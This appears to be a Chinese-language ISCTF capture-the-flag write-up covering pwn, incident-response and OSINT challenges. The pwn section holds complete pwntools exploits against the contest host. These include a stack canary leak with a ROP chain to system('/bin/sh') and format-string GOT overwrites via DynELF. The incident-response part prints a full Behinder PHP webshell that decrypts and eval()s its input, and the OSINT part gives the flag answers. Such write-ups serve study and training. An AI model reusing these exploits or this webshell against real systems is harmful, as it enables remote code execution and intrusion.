context.log_level = 'info'
context.arch = 'amd64'
IP = 'challenge.bluesharkinfo.com'
PORT = 25761
BINARY = './ez2048'
elf = ELF(BINARY)
p = remote(IP, PORT)
log.info("Step 1: Injecting malicious payload into global buffer...")
payload_name = b";/bin/sh"
p.sendlineafter(b"name\n>", payload_name)
p.sendlineafter(b"game", b"")
log.info("Adjusting game loop interaction...")
for i in range(8):
log.info(f"Round {i + 1}: Blindly sending 'q'...")
p.sendline(b"q")
time.sleep(1.0)
if i == 7:
log.info(f"Round {i + 1}: Sending 'Q' to exit...")
p.sendline(b"Q")
else:
log.info(f"Round {i + 1}: Sending 'a' to continue...")
p.sendline(b"a")
time.sleep(1.0)
log.info("Waiting for final result...")
p.recvuntil(b"here is your shell")
log.success("Bypassed score check! Entered shell function.")
p.recvuntil(b"$ ")
log.info("Step 3: Leaking Canary...")
payload_leak = b'A' * 137
p.send(payload_leak)
p.recvuntil(b"executing command: ")
resp = p.recv(2048)
try:
start_index = resp.find(b'A' * 137)
if start_index == -1:
log.error("Could not find leak payload in response")
leak_start = start_index + 137
canary_leak = resp[leak_start:leak_start + 7]
canary = b'\x00' + canary_leak
log.success(f"Canary Leaked: {canary.hex()}")
except Exception as e:
log.error(f"Leak failed: {e}")
exit()
log.info("Step 4: Sending ROP Payload...")
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
buf_addr = 0x404a40
system_addr = 0x401170
log.info(f"Buf Addr: {hex(buf_addr)}")
log.info(f"System Addr: {hex(system_addr)}")
log.info(f"Pop RDI: {hex(pop_rdi)}")
padding = b'exit\x00'.ljust(136, b'A')
payload = flat([
padding,
canary,
b'B' * 8,
p64(ret),
p64(pop_rdi),
p64(buf_addr),
p64(system_addr)
])
log.info("Sending ROP payload...")
try:
p.sendline(payload)
except EOFError:
log.error("Connection closed unexpectedly when sending ROP payload.")
exit()
log.success("Exploit sent! Check for shell.")
p.interactive()


heap?
Title
出题人:enter
院校:山东科技大学
难度:简单
题目描述:喜欢我的堆题吗
Idea
得知道这是一个堆题,
- add()
- 作用:申请堆块并写入内容。
- 操作:发送菜单 '1' -> 发送大小 -> 发送内容。
- show()
- 作用:打印堆块内容。
- 漏洞点推测:虽然内容在堆上,但如果程序使用了 printf(chunk_ptr) 而不是 printf("%s", chunk_ptr),就会导致 格式化字符串漏洞。因为 printf 的参数在栈上,可以通过 %n$p 泄露栈上的数据。
- delete_exploit()
- 作用:删除堆块(或者程序里的某种销毁/重置功能)。
- 漏洞点推测:这里不仅仅是删除,脚本发送了 len(payload) 和 payload。这暗示了程序在执行删除操作时,可能允许用户输入数据,并且存在 栈溢出(User-Controlled Size 或者读取长度超过了缓冲区大小)。
show():
- 程序将堆块的内容作为了
printf的第一个参数(造成格式字符串),可申请一个堆块,填入$p格式化字符串。 - 调用 show(0),程序执行类似 printf(heap_content) 的代码。
- printf 解析格式符,从栈上读取对应偏移的数据并打印出来。
delete(): - 溢出的入口read_num():
buf很大,v2只有16字节- 允许用户控制
buf,可造成溢出
泄漏Canary和Libc Address:
- 栈保护金丝雀值,绕过tack Guard,可直接获取,
%7$p泄漏栈上的Canary。 %13$p泄漏__libc_start_main 的返回地址
Calling Convention (x64):参数通过寄存器传递,第一个参数放在 rdi 寄存器。
我们要执行system("/bin/sh")
Gadgets:
1. pop rdi; ret:将栈顶数据弹入 rdi,然后返回。用于把 /bin/sh 的地址给 rdi。
2. ret:用于 栈对齐 (Stack Alignment)。在 Ubuntu 18.04+ 中,调用 system 时栈指针 rsp 必须是 16 字节对齐的(以 0 结尾),否则程序会 Crash (SIGSEGV 在 do_system 的 movaps 指令处)。如果在本地打通了远程打不通,通常加一个 ret 就能解决。
exp
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
io = remote('challenge.bluesharkinfo.com', 23592)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
fmt = b'%7$p,%11$p,%13$p,%15$p,%21$p'
io.sendlineafter(b'>', b'1')
io.sendlineafter(b'>', str(len(fmt)).encode())
io.send(fmt)
io.sendlineafter(b'>', b'3')
io.sendlineafter(b'>', b'0')
data_line = io.recvline().strip()
while b',' not in data_line:
data_line = io.recvline().strip()
data = data_line.split(b',')
if b'>' in data[0]:
data[0] = data[0].split(b'> ')[-1]
canary = int(data[0], 16)
success(hex(canary))
libc_leak = int(data[2], 16)
libc.address = libc_leak - 0x29d90
success(hex(libc.address))
pop_rdi = libc.address + 0x000000000002a3e5
bin_sh = next(libc.search(b'/bin/sh'))
system = libc.sym['system']
ret = pop_rdi + 1
padding = b'A' * 16
payload = flat([
padding,
canary,
0,
ret,
pop_rdi,
bin_sh,
system
])
io.sendlineafter(b'>', b'2')
io.recvuntil(b'> ')
io.send(p64(len(payload)))
io.send(payload)
io.interactive()

bad_box
Title
出题人:Albert Kesselring
院校:广东外语外贸大学
难度:困难
题目描述:小蓝鲨辛辛苦苦写的机器人被坏蛋卡奇破坏了,现在就只会复读,卡奇还剥夺了小蓝鲨对于电脑的的控制权限,请你帮助小蓝鲨重新获得系统控制权吧
Idea
一个黑盒,没有附件
连接到靶机,和复读机一样,输入什么,就打印回来什么
若输入的数据传给了printf的化,就能造成格式字符串漏洞
发送$p(AAAA%8$p)进行测试,确定存在格式字符串漏洞,并确定缓冲区从栈偏移量8处开始

先保证进程的存活,便于我们后续进行测试、泄漏等操作
使用格式化字符串 %n将 exit@got 覆盖为 main 的地址
由于不知道libc的版本,我们可以使用 pwntools 的 DynELF 来动态解析符号,并泄漏system函数的地址。解析地址,将 printf 的 GOT 条目覆盖为 system 的地址
发送字符串 /bin/sh,程序调用 printf("/bin/sh")
exp
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
HOST = 'challenge.bluesharkinfo.com'
SERV_PORT =
EXIT_ENTRY = 0x4033a0
PRINTF_ENTRY = 0x403388
PUTS_ENTRY = 0x403370
MAIN_LOC = 0x401275
STACK_IDX = 8
def build_data_packet(target_map, base_idx):
byte_units = []
for loc, val in target_map.items():
for i in range(8):
byte_val = (val >> (8 * i)) & 0xff
byte_units.append((loc + i, byte_val))
byte_units.sort(key=lambda x: x[1])
fmt_segment = b""
current_counter = 0
for i, (loc, byte_val) in enumerate(byte_units):
to_write = (byte_val - current_counter) % 256
if to_write > 0:
fmt_segment += f"%1${to_write}c".encode()
current_counter += to_write
fmt_segment += f"%{{}}$hhn".encode()
fmt_segment += b"LEAK:%3$p"
padding_len = (8 - (len(fmt_segment) % 8)) % 8
fmt_segment += b"A" * padding_len
loc_offset_start = base_idx + (len(fmt_segment) // 8)
final_fmt = fmt_segment.decode().format(*[loc_offset_start + i for i in range(len(byte_units))]).encode()
loc_offset_start = base_idx + (len(final_fmt) // 8)
needed_pad = (8 - (len(final_fmt) % 8)) % 8
final_fmt += b"A" * needed_pad
loc_offset_start = base_idx + (len(final_fmt) // 8)
fmt_segment_2 = b""
current_counter = 0
for i, (loc, byte_val) in enumerate(byte_units):
to_write = (byte_val - current_counter) % 256
if to_write > 0:
fmt_segment_2 += f"%1${to_write}c".encode()
current_counter += to_write
fmt_segment_2 += f"%{loc_offset_start + i}hhn".encode()
fmt_segment_2 = fmt_segment_2.replace(b'hhn', b'$hhn')
fmt_segment_2 += b"LEAK:%3$p"
padding_len = (8 - (len(fmt_segment_2) % 8)) % 8
fmt_segment_2 += b"A" * padding_len
addr_block = b""
for loc, val in byte_units:
addr_block += p64(loc)
return fmt_segment_2 + addr_block
def execute_task():
session = remote(HOST, SERV_PORT)
session.recvuntil(b'Have fun\n')
overwrite_targets = {EXIT_ENTRY: MAIN_LOC}
attack_data = build_data_packet(overwrite_targets, STACK_IDX)
if len(attack_data) <= 32:
attack_data = attack_data.ljust(33, b'X')
session.sendline(attack_data)
session.recvuntil(b'Have fun\n')
def memory_reader(target_loc):
header = b'%10$sAAAA'
fill_len = 16 - len(header)
probe_data = header + b'C' * fill_len + p64(target_loc)
probe_data = probe_data.ljust(40, b'X')
session.sendline(probe_data)
try:
response = session.recvuntil(b'Have fun\n')
if b'AAAA' in response:
content = response.split(b'AAAA')[0]
return content + b'\x00'
else:
return b''
except:
return b''
puts_raw = memory_reader(PUTS_ENTRY)
puts_loc = u64(puts_raw[:8].ljust(8, b'\x00'))
resolver = DynELF(memory_reader, puts_loc)
system_loc = resolver.lookup('system', 'libc')
overwrite_targets = {PRINTF_ENTRY: system_loc}
attack_data = build_data_packet(overwrite_targets, STACK_IDX)
if len(attack_data) <= 32:
attack_data = attack_data.ljust(33, b'X')
session.sendline(attack_data)
session.recvuntil(b'Have fun\n')
session.sendline(b'/bin/sh\x00'.ljust(33, b'X'))
session.interactive()
if __name__ == "__main__":
execute_task()

应急响应
hacker
Title
出题人:yeran
院校:周口职业技术学院
难度:简单
题目描述:hacker在数据库的某个后台写入了很多的垃圾用户(注册),请提交其IP。 Flag使用ISCTF{}包裹。
Idea
附件是一个pcapng的流量包,根据根据描述。对流量包进行分析发现

192.168.37.2对192.168.37.177访问了大量的register.php,并且响应200
明显192.168.37.177为被写入了很多的垃圾用户的数据库的某个后台ip地址
奇怪的shell文件
Title
出题人:yeran
院校:周口职业技术学院
难度:简单
题目描述:小张同学是某安全团队的成员,负责公司服务器的日常安全检查。某天,他发现在一台关键业务服务器上存在异常行为,他的目标分析webshell连接工具,请提交工具名称作为flag以完成此次事件响应任务。 Flag使用ISCTF{}包裹。
Idea
分析附件,发现/WWW/content/plugins/tips/shell.php存在木马文件
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
- 文件通过 session 保存一个 16 字节的 key(注释也写着“该密钥为连接密码32位md5值的前16位”)。
- 它从原始输入读取数据(
php://input),对缺少 OpenSSL 时使用自定义 XOR 解码;若有 OpenSSL 则用openssl_decrypt(..., "AES128", $key)解密。 - 解密后把 payload 用
'|'分割为函数名/参数,然后用一个极简的类和魔术方法去执行:
[class C{public function __invoke(\(p) {eval(\)p."");}} (WWW/content/templates/default/js/jquery.min.3.5.1.js)
@call_user_func(new C(),$params); - Behinder 的 PHP 版本 payload 常见特征就是:用固定长度 key(session 保存),使用 AES128 或简单 XOR 对接收到的原始输入解密/还原,然后把解码得到的代码通过 eval 执行。
因此使用的webshell连接工具是:Behinder
osint
OSINT-1
Title
出题人:Twansh
院校:福建理工大学
难度:简单
题目描述:
本题所有图片均来源于谷歌街景,请自行准备相关工具。 OSINT系列通用靶机地址(请勿攻击平台): [https://osint.imxbt.cn/](https://osint.imxbt.cn/)
[https://osint-isctf.aristore.top/](https://osint-isctf.aristore.top/)
flag的格式是ISCTF{word1.word2.word3}
What3Words指引见[https://www.aristore.top/posts/What3Words/](https://www.aristore.top/posts/What3Words/)
Idea

明显是国内,百度识图,锁定福州大学图书馆


经纬度:26.058821,119.197698

comments.lotteries.trails
ISCTF{comments.lotteries.trails}
OSINT-2
Title
出题人:Aristore
院校:无
难度:中等
题目描述:
flag的格式是ISCTF{word1.word2.word3}
What3Words指引见[https://www.aristore.top/posts/What3Words/](https://www.aristore.top/posts/What3Words/)
Idea

在国外,像是美国的曼哈顿大桥,Google搜索一下

点了一个位置,和题目要找的位置好像很相近了,也确定是曼哈顿大桥,google搜图也能搜到

一点一点,找到目标街景,经纬度:40.7093558,-73.9933583

flame.outer.like
ISCTF{flame.outer.like}
OSINT-3
Title
出题人:Aristore
院校:无
难度:困难
题目描述:
flag的格式是ISCTF{word1.word2.word3}
What3Words指引见[https://www.aristore.top/posts/What3Words/](https://www.aristore.top/posts/What3Words/)
Idea

这题不是图寻,通过画面,大致能确定在哈萨克斯坦境内,有一条笔直的道路,一旁的黄的,一旁绿地
在哈萨克斯坦遨游.......(感谢Aristore师傅让我不出门就能旅游)
找到原图

经纬度:54.3216214,65.7630612

immorally.misusing.began
ISCTF{immorally.misusing.began}

浙公网安备 33010602011771号